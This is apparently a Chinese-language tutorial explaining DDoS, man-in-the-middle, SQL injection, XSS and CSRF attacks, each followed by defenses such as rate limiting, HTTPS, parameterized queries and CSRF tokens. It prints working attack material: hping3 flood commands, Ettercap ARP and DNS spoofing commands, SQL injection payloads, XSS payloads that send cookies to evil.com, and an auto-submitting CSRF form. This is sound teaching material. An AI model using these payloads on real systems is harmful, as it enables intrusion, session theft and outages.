网络攻击技术日新月异,但万变不离其宗——多数攻击都是围绕几类经典手法演化而来。理解这些核心攻击手法的原理、分类和利用方式,不仅是渗透测试人员的必备技能,也是开发人员和运维工程师构建安全系统的基础。本文将深入解析五种最常见且影响最广的网络攻击手法:DDoS、中间人攻击、SQL 注入、XSS 和 CSRF,并给出对应的防御方案。
DDoS 攻击
DDoS(Distributed Denial of Service,分布式拒绝服务)攻击通过控制大量计算机(僵尸网络)向目标系统发送海量请求,耗尽其带宽、计算或连接资源,导致正常用户无法访问服务。
攻击类型
SYN Flood(传输层)
利用 TCP 三次握手的缺陷,发送大量 SYN 请求但不完成握手,使服务器维护大量半连接状态直至资源耗尽。
# 模拟 SYN Flood(仅限授权测试环境)
sudo hping3 -S --flood -V -p 80 192.168.1.100
# 使用随机源 IP 增加追踪难度
sudo hping3 -S --flood --rand-source -p 80 192.168.1.100
UDP Flood(传输层)
向目标发送大量 UDP 数据包,由于 UDP 是无连接协议,目标需要消耗资源检查每个端口上是否有监听的应用程序,当端口不可达时还需回复 ICMP 不可达消息。
HTTP Flood(应用层)
模拟大量合法的 HTTP 请求,消耗 Web 服务器的计算资源。由于请求看起来与正常流量相似,这类攻击更难以检测和过滤。
# 应用层 DDoS 防护 — Nginx 限速配置示例
# 在 nginx.conf 中添加以下配置
# 定义限速区域:每个 IP 每秒最多 10 个请求
# limit_req_zone $binary_remote_addr zone=api_limit:10m rate=10r/s;
#
# server {
# location /api/ {
# limit_req zone=api_limit burst=20 nodelay;
# limit_req_status 429;
# }
# }
DDoS 防御策略
# 使用 iptables 进行基础 DDoS 防护
# 限制每个 IP 的并发连接数
sudo iptables -A INPUT -p tcp --dport 80 \
-m connlimit --connlimit-above 50 -j REJECT
# 限制新建连接的速率
sudo iptables -A INPUT -p tcp --dport 80 -m state --state NEW \
-m limit --limit 50/s --limit-burst 100 -j ACCEPT
# 丢弃无效数据包
sudo iptables -A INPUT -m state --state INVALID -j DROP
# 防御 SYN Flood
sudo sysctl -w net.ipv4.tcp_syncookies=1
sudo sysctl -w net.ipv4.tcp_max_syn_backlog=8192
此外,还应考虑使用 CDN 服务(如 Cloudflare)分散流量、部署专业的 DDoS 防护设备(如 Anti-DDoS 清洗中心)、以及与 ISP 合作进行上游流量过滤。
中间人攻击(MITM)
中间人攻击(Man-in-the-Middle)是指攻击者秘密地拦截并可能篡改两方之间的通信,而双方都以为自己在直接与对方通信。
攻击原理
中间人攻击的典型场景是:攻击者同时欺骗通信双方,使自己成为通信链路中的”透明”中间节点。所有流量先经过攻击者,攻击者可以查看、记录甚至修改流量内容后再转发。
Ettercap 实战示例
Ettercap 是一款强大的中间人攻击工具,支持 ARP 欺骗、DNS 欺骗和内容过滤等功能。
# 使用 Ettercap 进行 ARP 欺骗中间人攻击(仅限授权测试环境)
# 文本模式 — 对目标 192.168.1.100 和网关 192.168.1.1 进行 ARP 欺骗
sudo ettercap -T -q -i eth0 -M arp:remote /192.168.1.100// /192.168.1.1//
# 图形界面模式
sudo ettercap -G
# 使用 Ettercap 进行 DNS 欺骗
# 首先编辑 DNS 欺骗配置文件
# /etc/ettercap/etter.dns 中添加:
# *.example.com A 10.0.0.50
# 然后启动 Ettercap 并加载 dns_spoof 插件
sudo ettercap -T -q -i eth0 -P dns_spoof -M arp:remote /192.168.1.100// /192.168.1.1//
使用 mitmproxy 拦截 HTTPS 流量
# mitmproxy 是一款交互式的 HTTPS 代理工具
# 启动 mitmproxy 代理(默认监听 8080 端口)
mitmproxy -p 8080
# 以透明代理模式运行
mitmproxy --mode transparent
# 使用 mitmdump 自动记录所有请求
mitmdump -w traffic.log
MITM 防御措施
- 全站 HTTPS:加密传输内容,防止明文嗅探
- HSTS(HTTP Strict Transport Security):强制浏览器使用 HTTPS
- 证书锁定(Certificate Pinning):在客户端固定服务器证书,防止伪造证书
- VPN:在不可信的网络环境中使用 VPN 加密所有流量
SQL 注入攻击
SQL 注入(SQL Injection)是最经典也最危险的 Web 漏洞之一。当应用程序将用户输入直接拼接到 SQL 语句中执行时,攻击者可以注入恶意 SQL 代码来操纵数据库。
攻击原理
假设有一个登录功能,后端代码如下:
# 存在 SQL 注入漏洞的代码示例(反面教材)
query = "SELECT * FROM users WHERE username='" + username + "' AND password='" + password + "'"
cursor.execute(query)
当攻击者在用户名字段输入 admin' -- 时,SQL 语句变为:
SELECT * FROM users WHERE username='admin' --' AND password=''
-- 是 SQL 注释符,后面的密码验证被注释掉了,攻击者无需密码即可登录 admin 账户。
SQL 注入分类与示例
联合注入(Union-based Injection)
利用 UNION SELECT 语句将额外的查询结果拼接到正常查询结果中,从而提取数据。
-- 判断字段数量
' ORDER BY 1 --
' ORDER BY 2 --
' ORDER BY 3 -- -- 直到报错,确定字段数
-- 联合查询获取数据库信息
' UNION SELECT 1,version(),database() --
-- 获取所有表名
' UNION SELECT 1,group_concat(table_name),3
FROM information_schema.tables
WHERE table_schema=database() --
-- 获取指定表的列名
' UNION SELECT 1,group_concat(column_name),3
FROM information_schema.columns
WHERE table_name='users' --
-- 提取用户数据
' UNION SELECT 1,group_concat(username,0x3a,password),3 FROM users --
布尔盲注(Boolean-based Blind Injection)
当页面不直接显示查询结果,但会根据条件真假返回不同响应时,可以逐字符判断数据内容。
-- 判断数据库名的第一个字符
' AND (SELECT ASCII(SUBSTRING(database(),1,1))) > 100 --
' AND (SELECT ASCII(SUBSTRING(database(),1,1))) > 110 --
' AND (SELECT ASCII(SUBSTRING(database(),1,1))) = 115 -- -- 's'
-- 判断数据库版本
' AND (SELECT LENGTH(version())) = 6 --
时间盲注(Time-based Blind Injection)
当页面对真假条件没有可见的差异响应时,可以通过数据库的延迟函数来判断条件真假。
-- 如果数据库名第一个字符 ASCII 码大于 100,则延迟 5 秒
' AND IF(ASCII(SUBSTRING(database(),1,1))>100, SLEEP(5), 0) --
-- MySQL 时间盲注
' AND (SELECT SLEEP(5) FROM dual WHERE database() LIKE 's%') --
-- PostgreSQL 时间盲注
'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END --
SQL 注入防御
# 正确做法:使用参数化查询(Parameterized Query)
import mysql.connector
conn = mysql.connector.connect(host='localhost', database='myapp')
cursor = conn.cursor(prepared=True)
# 参数化查询 — 数据库驱动自动处理转义
query = "SELECT * FROM users WHERE username = %s AND password = %s"
cursor.execute(query, (username, password))
# ORM 框架(如 SQLAlchemy)也能有效防止 SQL 注入
from sqlalchemy import select
stmt = select(User).where(User.username == username)
result = session.execute(stmt)
其他防御措施包括:输入验证和白名单过滤、最小化数据库用户权限、部署 WAF(Web 应用防火墙)、定期进行代码审计和漏洞扫描。
XSS 攻击
跨站脚本攻击(Cross-Site Scripting,XSS)是指攻击者向 Web 页面中注入恶意脚本代码,当其他用户访问该页面时,恶意脚本在受害者的浏览器中执行。
反射型 XSS(Reflected XSS)
恶意脚本包含在 URL 参数中,服务器将其”反射”回页面而未经过滤。
# 攻击 URL 示例
https://example.com/search?q=<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>
存储型 XSS(Stored XSS)
恶意脚本被永久存储在目标服务器上(如数据库、评论区),所有访问该页面的用户都会受到影响。存储型 XSS 危害最大。
<!-- 攻击者在评论区提交的恶意内容 -->
<img src=x onerror="fetch('https://evil.com/log?c='+document.cookie)">
<!-- 利用事件处理器的 XSS Payload -->
<svg onload="alert('XSS')">
<!-- 绕过简单过滤的变形 Payload -->
<img src=x onerror=alert(String.fromCharCode(88,83,83))>
<iframe src="javascript:alert('XSS')">
DOM 型 XSS(DOM-based XSS)
恶意脚本通过修改页面的 DOM 环境来执行,完全在客户端发生,不经过服务器。
// 存在 DOM XSS 漏洞的代码示例
// URL: https://example.com/page#<img src=x onerror=alert(1)>
var hash = location.hash.substring(1);
document.getElementById('output').innerHTML = hash; // 危险!直接插入 HTML
XSS 防御
# Python Flask 中的 XSS 防御
# 1. 输出编码 — 对所有用户输入进行 HTML 实体编码
from markupsafe import escape
@app.route('/search')
def search():
query = request.args.get('q', '')
safe_query = escape(query) # 将 < > " ' & 转为 HTML 实体
return render_template('search.html', query=safe_query)
// 前端 JavaScript XSS 防御
// 使用 textContent 而非 innerHTML
document.getElementById('output').textContent = userInput;
// 如果必须插入 HTML,使用 DOMPurify 进行净化
const clean = DOMPurify.sanitize(userInput);
document.getElementById('output').innerHTML = clean;
其他 XSS 防御措施:
- 设置
Content-Security-Policy(CSP)响应头,限制脚本执行来源 - 设置 Cookie 的
HttpOnly和Secure标志 - 使用现代前端框架(React、Vue)的自动转义功能
CSRF 攻击
跨站请求伪造(Cross-Site Request Forgery,CSRF)攻击利用受害者已认证的身份,在受害者不知情的情况下向目标网站发送恶意请求。
攻击原理
当用户已登录目标网站(浏览器中保存了 Session Cookie),攻击者诱导用户访问一个恶意页面,该页面自动向目标网站发送请求,浏览器会自动带上 Cookie,服务器无法区分这是用户主动发起的还是被伪造的请求。
<!-- CSRF 攻击示例 — 恶意页面中隐藏的表单 -->
<form action="https://bank.example.com/transfer" method="POST" id="csrfForm">
<input type="hidden" name="to_account" value="attacker_account">
<input type="hidden" name="amount" value="10000">
</form>
<script>document.getElementById('csrfForm').submit();</script>
CSRF 防御
- CSRF Token:在表单中嵌入随机令牌,服务器验证令牌的有效性
- SameSite Cookie 属性:设置
SameSite=Strict或SameSite=Lax,阻止跨站请求携带 Cookie - 检查 Referer/Origin 头:验证请求来源是否合法
- 关键操作要求二次确认:如转账、修改密码等操作需要用户再次输入密码或验证码
# Flask 中使用 CSRF Token 防护
from flask_wtf.csrf import CSRFProtect
app = Flask(__name__)
app.config['SECRET_KEY'] = 'your-secret-key'
csrf = CSRFProtect(app)
# 模板中自动插入 CSRF Token
# <form method="post">
# <input type="hidden" name="csrf_token" value="{{ csrf_token() }}">
# ...
# </form>
总结
本文详细分析了五种最常见的网络攻击手法。DDoS 攻击通过海量流量淹没目标,防御的关键在于流量清洗和限速策略;中间人攻击窃听和篡改通信内容,全站 HTTPS 和 HSTS 是有效对策;SQL 注入通过操纵数据库查询窃取或破坏数据,参数化查询是根本解决方案;XSS 在受害者浏览器中执行恶意脚本,输出编码和 CSP 是主要防线;CSRF 利用受害者已认证身份发起伪造请求,CSRF Token 和 SameSite Cookie 可以有效阻止。
对于开发人员而言,安全意识应当贯穿整个开发生命周期——从设计阶段的威胁建模,到编码阶段的安全编程实践,再到上线后的持续监控和漏洞响应。安全不是一次性的工作,而是一个持续改进的过程。